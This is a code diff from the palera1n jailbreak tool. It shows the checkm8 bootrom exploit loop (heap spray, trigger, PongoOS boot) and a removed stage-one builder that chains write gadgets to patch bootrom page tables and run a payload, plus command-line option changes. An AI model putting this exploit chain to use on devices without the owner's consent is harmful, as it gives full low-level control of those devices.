stage = STAGE_YOLODFU;
|
||||
} else {
|
||||
free(sn);
|
||||
reset_usb_handle(&handle);
|
||||
continue;
|
||||
}
|
||||
|
||||
free(sn);
|
||||
atomic_store(&s->stage, stage);
|
||||
|
||||
switch (stage) {
|
||||
case STAGE_RESET:
|
||||
ret = checkm8_stage_reset(&handle);
|
||||
stage = ret ? STAGE_SETUP : STAGE_RESET;
|
||||
break;
|
||||
case STAGE_SETUP:
|
||||
LOG("Checking if device is ready");
|
||||
ret = checkm8_stage_setup(&handle, &deviceConfig);
|
||||
stage = ret ? STAGE_SPRAY : STAGE_RESET;
|
||||
break;
|
||||
case STAGE_SPRAY:
|
||||
LOG("Setting up the exploit (this is the heap spray)");
|
||||
ret = checkm8_stage_spray(&handle, &deviceConfig);
|
||||
stage = ret ? STAGE_PATCH : STAGE_RESET;
|
||||
break;
|
||||
case STAGE_PATCH:
|
||||
LOG("Right before trigger (this is the real bug setup)");
|
||||
ret = checkm8_stage_patch(&handle, &deviceConfig, &payloadConfig);
|
||||
stage = STAGE_RESET;
|
||||
if (!ret) {
|
||||
LOG_ERROR("Failed doing trigger");
|
||||
break;
|
||||
}
|
||||
continue;
|
||||
case STAGE_YOLODFU:
|
||||
LOG("Booting PongoOS...");
|
||||
ret = checkm8_boot_pongo(&handle);
|
||||
if (!ret) LOG_ERROR("Failed to send PongoOS to device");
|
||||
stage = STAGE_RESET;
|
||||
break;
|
||||
}
|
||||
|
||||
reset_usb_handle(&handle);
|
||||
}
|
||||
|
||||
close_usb_handle(&handle);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static void *pongo_thread(void *arg)
|
||||
{
|
||||
LOG_VERBOSE("Starting thread for PongoOS devices");
|
||||
|
||||
shared_t *s = (shared_t *)arg;
|
||||
|
||||
usb_handle_t handle;
|
||||
bool seen = false;
|
||||
|
||||
init_usb_handle(&handle, VID_APPLE, PID_PONGO);
|
||||
|
||||
while (!atomic_load(&s->stop)) {
|
||||
if (!wait_usb_handle(&handle)) {
|
||||
if (atomic_load(&s->stop)) break;
|
||||
reset_usb_handle(&handle);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (seen) break;
|
||||
seen = true;
|
||||
|
||||
LOG_SUCCESS("Detected PongoOS device");
|
||||
|
||||
atomic_store(&s->stage, STAGE_PONGO);
|
||||
|
||||
if (palerain_flags & palerain_option_pongo_exit) {
|
||||
goto exit;
|
||||
}
|
||||
|
||||
char paleinfo[64];
|
||||
snprintf(paleinfo, sizeof(paleinfo), "palera1n_flags 0x%" PRIx64, palerain_flags);
|
||||
|
||||
char xargs_cmd[0x270];
|
||||
snprintf(xargs_cmd, sizeof(xargs_cmd), "xargs %s", boot_args);
|
||||
if (palerain_flags & palerain_option_setup_rootful) {
|
||||
strncat(xargs_cmd, " wdt=-1", sizeof(xargs_cmd) - strlen(xargs_cmd) - 1);
|
||||
}
|
||||
|
||||
issue_pongo_command(&handle, "fuse lock");
|
||||
issue_pongo_command(&handle, "sep auto");
|
||||
if (g_payload_kpf.data_len > 0) {
|
||||
upload_buffer_to_pongo(&handle, g_payload_kpf.data, g_payload_kpf.data_len);
|
||||
issue_pongo_command(&handle, "modload");
|
||||
}
|
||||
issue_pongo_command(&handle, paleinfo);
|
||||
if (g_payload_ramdisk.data_len > 0) {
|
||||
upload_buffer_to_pongo(&handle, g_payload_ramdisk.data, g_payload_ramdisk.data_len);
|
||||
issue_pongo_command(&handle, "ramdisk");
|
||||
}
|
||||
if (g_payload_overlay.data_len > 0) {
|
||||
upload_buffer_to_pongo(&handle, g_payload_overlay.data, g_payload_overlay.data_len);
|
||||
issue_pongo_command(&handle, "overlay");
|
||||
}
|
||||
if (strlen(boot_args) > 0) issue_pongo_command(&handle, xargs_cmd);
|
||||
issue_pongo_command(&handle, "bootx");
|
||||
|
||||
exit:
|
||||
#ifdef _WIN32
|
||||
uninstall_libusbk_target(VID_APPLE, PID_DFU);
|
||||
#endif
|
||||
|
||||
atomic_store(&s->stage, STAGE_DONE);
|
||||
atomic_store(&s->stop, true);
|
||||
break;
|
||||
}
|
||||
|
||||
close_usb_handle(&handle);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
bool exploit(shared_t *state)
|
||||
{
|
||||
pthread_t t1, t2;
|
||||
#ifdef _WIN32
|
||||
pthread_t td;
|
||||
#endif
|
||||
|
||||
pthread_create(&t1, NULL, exploit_thread, state);
|
||||
pthread_create(&t2, NULL, pongo_thread, state);
|
||||
#ifdef _WIN32
|
||||
pthread_create(&td, NULL, driver_thread, state);
|
||||
#endif
|
||||
|
||||
while (!atomic_load(&state->stop)) {
|
||||
sleep_ms(10);
|
||||
}
|
||||
|
||||
pthread_cancel(t1);
|
||||
pthread_cancel(t2);
|
||||
#ifdef _WIN32
|
||||
pthread_cancel(td);
|
||||
#endif
|
||||
|
||||
pthread_join(t1, NULL);
|
||||
pthread_join(t2, NULL);
|
||||
#ifdef _WIN32
|
||||
pthread_join(td, NULL);
|
||||
#endif
|
||||
|
||||
return atomic_load(&state->result) == 1;
|
||||
}
|
||||
@@ -1,44 +0,0 @@
|
||||
#ifndef RUN_H
|
||||
#define RUN_H
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
#include <atomic>
|
||||
using std::atomic_int;
|
||||
using std::atomic_bool;
|
||||
extern "C" {
|
||||
#else
|
||||
#include <stdatomic.h>
|
||||
#endif
|
||||
|
||||
enum exploit_stage {
|
||||
STAGE_RESET = 0,
|
||||
STAGE_SETUP = 1,
|
||||
STAGE_SPRAY = 2,
|
||||
STAGE_PATCH = 3,
|
||||
STAGE_YOLODFU = 4,
|
||||
STAGE_PONGO = 5,
|
||||
STAGE_DONE = 6,
|
||||
};
|
||||
|
||||
#if defined(WITH_GUI) || defined(WITH_TUI)
|
||||
|
||||
const char* stage_to_string(int stage);
|
||||
int stage_to_progress(int stage);
|
||||
|
||||
#endif // WITH_GUI || WITH_TUI
|
||||
|
||||
typedef struct {
|
||||
atomic_int result;
|
||||
atomic_bool stop;
|
||||
atomic_int stage;
|
||||
} shared_t;
|
||||
|
||||
bool exploit(shared_t *state);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // RUN_H
|
||||
-223
@@ -1,223 +0,0 @@
|
||||
#include "stage1.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "payload.h"
|
||||
|
||||
#define ARM_16K_TT_L2_SHIFT 25 // page descriptor shift
|
||||
|
||||
// https://github.com/palera1n/openra1n/blob/main/checkm8.c#L398-L580
|
||||
bool generate_stage1(
|
||||
void** outbuf,
|
||||
size_t* outlen,
|
||||
void* payload,
|
||||
size_t payload_sz,
|
||||
struct DeviceConfiguration *deviceConfig,
|
||||
struct PayloadConfiguration *payloadConfig
|
||||
) {
|
||||
bool wnx = false;
|
||||
uint64_t write_gadget = 0;
|
||||
uint32_t write_val = 0;
|
||||
|
||||
uint64_t base_address = payloadConfig->insecure_memory_base;
|
||||
|
||||
if(deviceConfig->cpid == A9X || deviceConfig->cpid == A10 || deviceConfig->cpid == A10X || deviceConfig->cpid == T2 || deviceConfig->cpid == A11)
|
||||
{
|
||||
wnx = true;
|
||||
}
|
||||
|
||||
size_t presize = wnx == true ? 0x800 : 0xc0;
|
||||
void *buf = malloc(presize);
|
||||
|
||||
uint32_t nextOffset = 0;
|
||||
unsigned char* nextBuf = NULL;
|
||||
dfu_callback_t* cb = (dfu_callback_t*)buf;
|
||||
nextBuf = buf;
|
||||
|
||||
uint32_t current_size = 0;
|
||||
int count = 0;
|
||||
|
||||
#define PUSH(end, func, arg0, arg1) \
|
||||
{ \
|
||||
count++; \
|
||||
current_size = nextOffset + sizeof(dfu_callback_t); \
|
||||
if(!(current_size > (wnx == true ? 0x800 : 0xc0))) \
|
||||
{ \
|
||||
cb->callback = payloadConfig->func_gadget; \
|
||||
if(count%3 == 0) \
|
||||
nextOffset += 0x80; \
|
||||
else \
|
||||
nextOffset += 0x20; \
|
||||
if(!end)cb->next = base_address + nextOffset; \
|
||||
uint64_t* ptr = (uint64_t*)(cb); \
|
||||
uint32_t* ptr32 = (uint32_t*)(cb); \
|
||||
ptr[15] = func; \
|
||||
if(func == payloadConfig->write_prim) \
|
||||
{ \
|
||||
ptr[14] = (uint64_t)(arg0 - 4); \
|
||||
ptr32[5] = (uint32_t)arg1; \
|
||||
} \
|
||||
else if(func == payloadConfig->write_prim2) \
|
||||
{ \
|
||||
ptr[14] = (uint64_t)arg0; \
|
||||
ptr32[5] = (uint32_t)arg1; \
|
||||
} \
|
||||
else if(func == payloadConfig->write_ttbr0) \
|
||||
{ \
|
||||
ptr[14] = (uint64_t)arg0; \
|
||||
} \
|
||||
else if(func == payloadConfig->arm_clean_invalidate_dcache_line) \
|
||||
{ \
|
||||
ptr[14] = (uint64_t)arg0; \
|
||||
} \
|
||||
nextBuf = (unsigned char*)(buf + nextOffset); \
|
||||
cb = (dfu_callback_t*)nextBuf; \
|
||||
} \
|
||||
else \
|
||||
{ \
|
||||
goto fail; \
|
||||
} \
|
||||
} \
|
||||
|
||||
if((deviceConfig->cpid == A11) || (deviceConfig->cpid == T2) || (deviceConfig->cpid == A8X) || (deviceConfig->cpid == A8))
|
||||
{
|
||||
write_gadget = payloadConfig->write_prim;
|
||||
}
|
||||
else
|
||||
{
|
||||
write_gadget = payloadConfig->write_prim2;
|
||||
}
|
||||
|
||||
uint64_t vrom_address = 0x100000000;
|
||||
uint64_t sram_address = 0x180000000;
|
||||
uint64_t new_va = 0x142000000; // post-exploit
|
||||
uint32_t vrom_off = (vrom_address >> ARM_16K_TT_L2_SHIFT) * 8;
|
||||
uint32_t new_off = (new_va >> ARM_16K_TT_L2_SHIFT) * 8;
|
||||
uint32_t sram_off = (sram_address >> ARM_16K_TT_L2_SHIFT) * 8;
|
||||
|
||||
uint64_t sram_rx_va = 0x140000000; // execute payload
|
||||
uint64_t sram_rw_va = 0x142000000; // custom ttbr
|
||||
uint32_t sram_rx_off = (sram_rx_va >> ARM_16K_TT_L2_SHIFT) * 8;
|
||||
uint32_t sram_rw_off = (sram_rw_va >> ARM_16K_TT_L2_SHIFT) * 8;
|
||||
|
||||
uint64_t vrom_rw_va = 0x144000000;
|
||||
uint32_t vrom_rw_off = (vrom_rw_va >> ARM_16K_TT_L2_SHIFT) * 8;
|
||||
|
||||
if(wnx) // only A9X-A11
|
||||
{
|
||||
// VROM: 0x100000000
|
||||
uint64_t vrom_bit = vrom_address | 0x6a5;
|
||||
uint32_t vrom_bit_lower = (uint32_t)(vrom_bit & 0xffffffff);
|
||||
uint32_t vrom_bit_upper = (uint32_t)(vrom_bit >> 32);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_off + 0), vrom_bit_lower);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_off + 4), vrom_bit_upper);
|
||||
|
||||
// Newp: 0x142000000
|
||||
uint64_t new_bit = sram_address | 0x621; // pa
|
||||
new_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
|
||||
new_bit |= (1uL << 53); // PXN
|
||||
new_bit |= (1uL << 54); // XN
|
||||
uint32_t new_bit_lower = (uint32_t)(new_bit & 0xffffffff);
|
||||
uint32_t new_bit_upper = (uint32_t)(new_bit >> 32);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (new_off + 0), new_bit_lower);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (new_off + 4), new_bit_upper);
|
||||
|
||||
// Newp: 0x144000000
|
||||
uint64_t new_bit_2 = sram_address | 0x621; // pa
|
||||
new_bit_2 |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
|
||||
new_bit_2 |= (1uL << 53); // PXN
|
||||
new_bit_2 |= (1uL << 54); // XN
|
||||
uint32_t new_bit_lower_2 = (uint32_t)(new_bit_2 & 0xffffffff);
|
||||
uint32_t new_bit_upper_2 = (uint32_t)(new_bit_2 >> 32);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_rw_off + 0), new_bit_lower_2);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_rw_off + 4), new_bit_upper_2);
|
||||
|
||||
// SRAM: 0x180000000
|
||||
uint64_t sram_bit = sram_address | 0x3;
|
||||
sram_bit |= (1uL << 63); // NS
|
||||
if(deviceConfig->cpid == A11) sram_bit |= 0x10000;
|
||||
if(deviceConfig->cpid == T2) sram_bit |= 0x10000;
|
||||
if(deviceConfig->cpid == A10X) sram_bit |= 0xa4000;
|
||||
if(deviceConfig->cpid == A10) sram_bit |= 0xa4000;
|
||||
if(deviceConfig->cpid == A9X) sram_bit |= 0x54000;
|
||||
uint32_t sram_bit_lower = (uint32_t)(sram_bit & 0xffffffff);
|
||||
uint32_t sram_bit_upper = (uint32_t)(sram_bit >> 32);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (sram_off + 0), sram_bit_lower);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (sram_off + 4), sram_bit_upper);
|
||||
}
|
||||
|
||||
if(wnx)
|
||||
{
|
||||
write_val = (uint32_t)(((base_address & 0x01FFFFFF) | (sram_rx_va & 0xffffffff)) + payloadConfig->payload_start_offset);
|
||||
}
|
||||
else
|
||||
{
|
||||
write_val = (uint32_t)((base_address & 0xFFFFFFFF) + payloadConfig->payload_start_offset);
|
||||
}
|
||||
PUSH(0, write_gadget, payloadConfig->bootstrap_task_lr, write_val);
|
||||
|
||||
if(wnx) // only A9X-A11
|
||||
{
|
||||
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (vrom_off & ~0xff), 0);
|
||||
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (new_off & ~0xff), 0);
|
||||
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (sram_off & ~0xff), 0);
|
||||
}
|
||||
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, base_address + payloadConfig->payload_start_offset, 0);
|
||||
PUSH(wnx == true ? 0 : 1, payloadConfig->arm_invalidate_icache, 0, 0);
|
||||
|
||||
if(wnx) // only A9X-A11
|
||||
{
|
||||
uint64_t sram_rx_bit = sram_address | 0x6a5;
|
||||
uint32_t sram_rx_bit_lower = (uint32_t)(sram_rx_bit & 0xffffffff);
|
||||
uint32_t sram_rx_bit_upper = (uint32_t)(sram_rx_bit >> 32);
|
||||
|
||||
uint64_t sram_rw_bit = sram_address | 0x621;
|
||||
sram_rw_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
|
||||
sram_rw_bit |= (1uL << 53); // PXN
|
||||
sram_rw_bit |= (1uL << 54); // XN
|
||||
uint32_t sram_rw_bit_lower = (uint32_t)(sram_rw_bit & 0xffffffff);
|
||||
uint32_t sram_rw_bit_upper = (uint32_t)(sram_rw_bit >> 32);
|
||||
|
||||
uint64_t vrom_rw_bit = vrom_address | 0x621;
|
||||
vrom_rw_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
|
||||
vrom_rw_bit |= (1uL << 53); // PXN
|
||||
vrom_rw_bit |= (1uL << 54); // XN
|
||||
uint32_t vrom_rw_bit_lower = (uint32_t)(vrom_rw_bit & 0xffffffff);
|
||||
uint32_t vrom_rw_bit_upper = (uint32_t)(vrom_rw_bit >> 32);
|
||||
|
||||
PUSH(0, payloadConfig->enter_critical_section, 0, 0);
|
||||
PUSH(0, payloadConfig->write_ttbr0, payloadConfig->TTBR0_PATCH_BASE, 0);
|
||||
PUSH(0, payloadConfig->tlbi, 0, 0);
|
||||
|
||||
PUSH(0, write_gadget, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off + 0), vrom_rw_bit_lower);
|
||||
PUSH(0, write_gadget, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off + 4), vrom_rw_bit_upper);
|
||||
|
||||
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off + 0), sram_rx_bit_lower);
|
||||
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off + 4), sram_rx_bit_upper);
|
||||
|
||||
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rw_off + 0), sram_rw_bit_lower);
|
||||
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rw_off + 4), sram_rw_bit_upper);
|
||||
|
||||
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off & ~0xff), 0);
|
||||
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off & ~0xff), 0);
|
||||
PUSH(0, payloadConfig->write_ttbr0, sram_address + payloadConfig->TTBR0_BASE, 0);
|
||||
PUSH(0, payloadConfig->tlbi, 0, 0);
|
||||
PUSH(1, payloadConfig->exit_critical_section, 0, 0);
|
||||
}
|
||||
|
||||
*outlen = payload_sz + (wnx == true ? 0x800 : 0xc0);
|
||||
*outbuf = malloc(*outlen);
|
||||
|
||||
memset(*outbuf, 0x0, *outlen);
|
||||
memcpy(*outbuf, buf, wnx == true ? 0x800 : 0xc0);
|
||||
memcpy(*outbuf + (wnx == true ? 0x800 : 0xc0), payload, payload_sz);
|
||||
if(buf) free(buf);
|
||||
return true;
|
||||
|
||||
fail:
|
||||
if(buf) free(buf);
|
||||
return false;
|
||||
}
|
||||
@@ -1,31 +0,0 @@
|
||||
#ifndef STAGE1_H
|
||||
#define STAGE1_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#include "payload.h"
|
||||
|
||||
typedef struct
|
||||
{
|
||||
uint32_t endpoint, pad_0;
|
||||
uint64_t io_buffer;
|
||||
uint32_t status, io_len, ret_cnt, pad_1;
|
||||
uint64_t callback, next;
|
||||
} dfu_callback_t;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
dfu_callback_t callback;
|
||||
} checkm8_overwrite_t;
|
||||
|
||||
bool generate_stage1(
|
||||
void** outbuf,
|
||||
size_t* outlen,
|
||||
void* payload,
|
||||
size_t payload_sz,
|
||||
struct DeviceConfiguration *deviceConfig,
|
||||
struct PayloadConfiguration *payloadConfig
|
||||
);
|
||||
|
||||
#endif // STAGE1_H
|
||||
+77
-47
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#include <unistd.h>
|
||||
#include <cstdlib>
|
||||
#include <iostream>
|
||||
@@ -5,29 +32,34 @@
|
||||
#include <cstdio>
|
||||
#include <cstdlib>
|
||||
#include <cstring>
|
||||
#include <inttypes.h> // PRIx64
|
||||
|
||||
#ifdef WITH_GUI
|
||||
# include <wx/wx.h>
|
||||
#endif
|
||||
|
||||
#include "m8/run.h"
|
||||
#include "exploit.h"
|
||||
#ifdef WITH_TUI
|
||||
# include "tui/Tui.hpp"
|
||||
#endif
|
||||
#include "utils.h"
|
||||
#if WITH_CIDERRAIN
|
||||
# include <ciderra1n/log.h>
|
||||
extern "C" {
|
||||
# include <ciderra1n/ra1n.h>
|
||||
}
|
||||
#else
|
||||
# include <openra1n/utils.h>
|
||||
#endif
|
||||
#include "globals.h"
|
||||
#include "paleinfo.h"
|
||||
#ifdef _WIN32
|
||||
# include "usb/driver.h"
|
||||
#endif
|
||||
#include "usb/pongo_helper.h"
|
||||
#include "pongo_helper.h"
|
||||
|
||||
void print_credits() {
|
||||
printf(
|
||||
"::\n"
|
||||
":: Palera1n beta " PALERAIN_VERSION "\n"
|
||||
"::\n"
|
||||
":: (c) 2026\n"
|
||||
":: Copyright (C) 2026 palera1n team\n"
|
||||
"::\n"
|
||||
":: ======== Made by =======>\n"
|
||||
":: Made by: asdfugil, kok3shidoll, claration, mineek\n"
|
||||
@@ -57,6 +89,7 @@ void print_usage(char* argv) {
|
||||
#endif
|
||||
" --dark-blockchain [f] Enable dark blockchain\n"
|
||||
" --force-revert [f] Force environment reversion\n"
|
||||
" --force-enable-ssv [f] Force SSV detection to result in YES\n"
|
||||
" -l, --rootless [f] Enable rootless mode (standard)\n"
|
||||
" -f, --rootful [f] Boots fakefs\n"
|
||||
" -c, --setup-fakefs [f] Setup fake filesystem\n"
|
||||
@@ -70,12 +103,9 @@ void print_usage(char* argv) {
|
||||
" -K, --override-kpf <FILE PATH> Override kernel patchfinder\n"
|
||||
" -o, --override-overlay <FILE PATH> Override overlay\n"
|
||||
" -r, --override-ramdisk <FILE PATH> Override ramdisk\n"
|
||||
" -d, --debug-logging Enable debug logging\n"
|
||||
" -n, --no-colors [f] Disable colors on the command line\n"
|
||||
" -q, --quick [f] Enable Quick Mode\n"
|
||||
#ifdef _WIN32
|
||||
" --install-drivers <PID> Install libusbK drivers for PID\n"
|
||||
" --remove-drivers <PID> Remove libusbK drivers for PID\n"
|
||||
#endif
|
||||
, argv
|
||||
);
|
||||
|
||||
@@ -103,6 +133,7 @@ void parse_arguments(int argc, char* argv[]) {
|
||||
#endif
|
||||
{"dark-blockchain", no_argument, NULL, 4},
|
||||
{"force-revert", no_argument, NULL, 5},
|
||||
{"force-enable-ssv", no_argument, NULL, 6},
|
||||
{"rootless", no_argument, NULL, 'l'},
|
||||
{"rootful", no_argument, NULL, 'f'},
|
||||
{"setup-fakefs", no_argument, NULL, 'c'},
|
||||
@@ -116,12 +147,9 @@ void parse_arguments(int argc, char* argv[]) {
|
||||
{"override-kpf", required_argument, NULL, 'K'},
|
||||
{"override-overlay", required_argument, NULL, 'o'},
|
||||
{"override-ramdisk", required_argument, NULL, 'r'},
|
||||
{"debug-logging", no_argument, NULL, 'd'},
|
||||
{"no-colors", no_argument, NULL, 'n'},
|
||||
{"quick", no_argument, NULL, 'q'},
|
||||
#ifdef _WIN32
|
||||
{"install-drivers", required_argument, NULL, 6},
|
||||
{"remove-drivers", required_argument, NULL, 7},
|
||||
#endif
|
||||
{NULL, 0, NULL, 0}
|
||||
};
|
||||
|
||||
@@ -149,19 +177,26 @@ void parse_arguments(int argc, char* argv[]) {
|
||||
# endif
|
||||
#endif
|
||||
|
||||
while ((options = getopt_long(argc, argv, "hvlfcBsTVpe:k:K:o:r:nq", long_options, &option_index)) != -1) {
|
||||
while ((options = getopt_long(argc, argv, "hvlfcBsTVpe:k:K:o:r:dnq", long_options, &option_index)) != -1) {
|
||||
switch (options) {
|
||||
case 'h': // --help
|
||||
print_usage(argv[0]);
|
||||
exit(1);
|
||||
case 'v': // --version
|
||||
printf("Palera1n beta " PALERAIN_VERSION " [USB: %s (openra1n)]\n",
|
||||
#if WITH_CIDERRAIN
|
||||
printf("Palera1n beta " PALERAIN_VERSION " [USB: %s (libcidera1n %s)]\n",
|
||||
ra1n_show_usb_backend(),
|
||||
ra1n_show_build_version()
|
||||
);
|
||||
#else
|
||||
printf("Palera1n beta " PALERAIN_VERSION " [USB: %s (libopenra1n)]\n",
|
||||
#ifdef __APPLE__
|
||||
"IOKit"
|
||||
#else
|
||||
"libusb"
|
||||
#endif
|
||||
);
|
||||
#endif
|
||||
printf("%s (%s)\n", GIT_HASH, GIT_BRANCH);
|
||||
printf("Git: %s\n", GIT_URL);
|
||||
printf("Compiled on %s at %s\n", __DATE__, __TIME__);
|
||||
@@ -191,6 +226,9 @@ void parse_arguments(int argc, char* argv[]) {
|
||||
case 5: // --force-revert
|
||||
palerain_flags |= palerain_option_force_revert;
|
||||
break;
|
||||
case 6: // --force-enable-ssv
|
||||
palerain_flags |= palerain_option_ssv;
|
||||
break;
|
||||
case 'l': // --rootless
|
||||
palerain_flags &= ~palerain_option_rootful;
|
||||
palerain_flags |= palerain_option_rootless;
|
||||
@@ -219,25 +257,25 @@ void parse_arguments(int argc, char* argv[]) {
|
||||
break;
|
||||
case 'e': // --extra-bootargs
|
||||
if (strlen(optarg) > (sizeof(boot_args) - 0x20)) {
|
||||
LOG_ERROR("Boot arguments too long");
|
||||
LOG_ERROR("Boot arguments too long!");
|
||||
exit(1);
|
||||
}
|
||||
snprintf(boot_args, sizeof(boot_args), "%s", optarg);
|
||||
break;
|
||||
case 'k': // --override-pongo
|
||||
if (!override_payload_from_file(optarg, &g_payload_pongo)) {
|
||||
LOG_ERROR("Failed to load pongo payload\n");
|
||||
LOG_ERROR("Failed to load pongo payload, is the path correct?");
|
||||
exit(1);
|
||||
}
|
||||
if (g_payload_pongo.data_len > PONGO_MAX_SZ) {
|
||||
LOG_ERROR("Pongo payload too large: %zu bytes (max %zu)", g_payload_pongo.data_len, PONGO_MAX_SZ);
|
||||
LOG_ERROR("Pongo payload is too large! %zu bytes (max %zu)", g_payload_pongo.data_len, PONGO_MAX_SZ);
|
||||
exit(1);
|
||||
}
|
||||
LOG("Overriding pongo payload with %s", optarg);
|
||||
break;
|
||||
case 'K': // --override-kpf
|
||||
if (!override_payload_from_file(optarg, &g_payload_kpf)) {
|
||||
LOG_ERROR("Failed to load kpf payload\n");
|
||||
LOG_ERROR("Failed to load kpf payload, is the path correct?");
|
||||
exit(1);
|
||||
}
|
||||
if (g_payload_kpf.data_len < 4
|
||||
@@ -251,44 +289,27 @@ void parse_arguments(int argc, char* argv[]) {
|
||||
break;
|
||||
case 'o': // --override-overlay
|
||||
if (!override_payload_from_file(optarg, &g_payload_overlay)) {
|
||||
LOG_ERROR("Failed to load overlay payload\n");
|
||||
LOG_ERROR("Failed to load overlay payload, is the path correct?");
|
||||
exit(1);
|
||||
}
|
||||
LOG("Overriding overlay payload with %s", optarg);
|
||||
break;
|
||||
case 'r': // --override-ramdisk
|
||||
if (!override_payload_from_file(optarg, &g_payload_ramdisk)) {
|
||||
LOG_ERROR("Failed to load ramdisk payload\n");
|
||||
LOG_ERROR("Failed to load ramdisk payload, is the path correct?");
|
||||
exit(1);
|
||||
}
|
||||
LOG("Overriding ramdisk payload with %s", optarg);
|
||||
break;
|
||||
case 'd': // --debug-logging
|
||||
if (gDebugLevel < 5) gDebugLevel++;
|
||||
break;
|
||||
case 'n': // --no-colors
|
||||
palerain_flags |= palerain_option_no_colors;
|
||||
break;
|
||||
case 'q': // --quick
|
||||
palerain_flags |= palerain_option_quick;
|
||||
break;
|
||||
#ifdef _WIN32
|
||||
case 6: { // --install-drivers <PID>
|
||||
unsigned short parsed_pid = (unsigned short)strtol(optarg, NULL, 16);
|
||||
if (parsed_pid == 0) {
|
||||
LOG_ERROR("Invalid PID value provided\n");
|
||||
exit(1);
|
||||
}
|
||||
install_libusbk_target(0x05AC, parsed_pid);
|
||||
exit(0);
|
||||
}
|
||||
case 7: { // --remove-drivers <PID>
|
||||
unsigned short parsed_pid = (unsigned short)strtol(optarg, NULL, 16);
|
||||
if (parsed_pid == 0) {
|
||||
LOG_ERROR("Invalid PID value provided\n");
|
||||
exit(1);
|
||||
}
|
||||
uninstall_libusbk_target(0x05AC, parsed_pid);
|
||||
exit(0);
|
||||
}
|
||||
#endif
|
||||
case '?':
|
||||
LOG_ERROR("Unknown option\n");
|
||||
print_usage(argv[0]);
|
||||
@@ -345,17 +366,24 @@ void parse_arguments(int argc, char* argv[]) {
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
// controls logging settings in our checkm8 libraries
|
||||
if (palerain_flags & palerain_option_no_colors) gSilentLogs = false;
|
||||
if (palerain_flags & palerain_option_tui) gSilentLogs = true;
|
||||
}
|
||||
|
||||
int main(int argc, char* argv[], char* envp[]) {
|
||||
print_credits();
|
||||
parse_arguments(argc, argv);
|
||||
LOG("palera1n_flags: %llu", palerain_flags);
|
||||
|
||||
LOG("Welcome to palera1n!");
|
||||
LOG("Reminder, this jailbreak IS designed for iOS 15+");
|
||||
LOG_DEBUG("palera1n_flags: 0x%" PRIx64, palerain_flags);
|
||||
|
||||
// communicating with libusb on linux needs root
|
||||
#ifdef __linux__
|
||||
if (geteuid() != 0) {
|
||||
LOG_WARN("You are not running as root, this may cause issues when exploiting");
|
||||
LOG_ERROR("You are not running as root, this may cause issues when exploiting...");
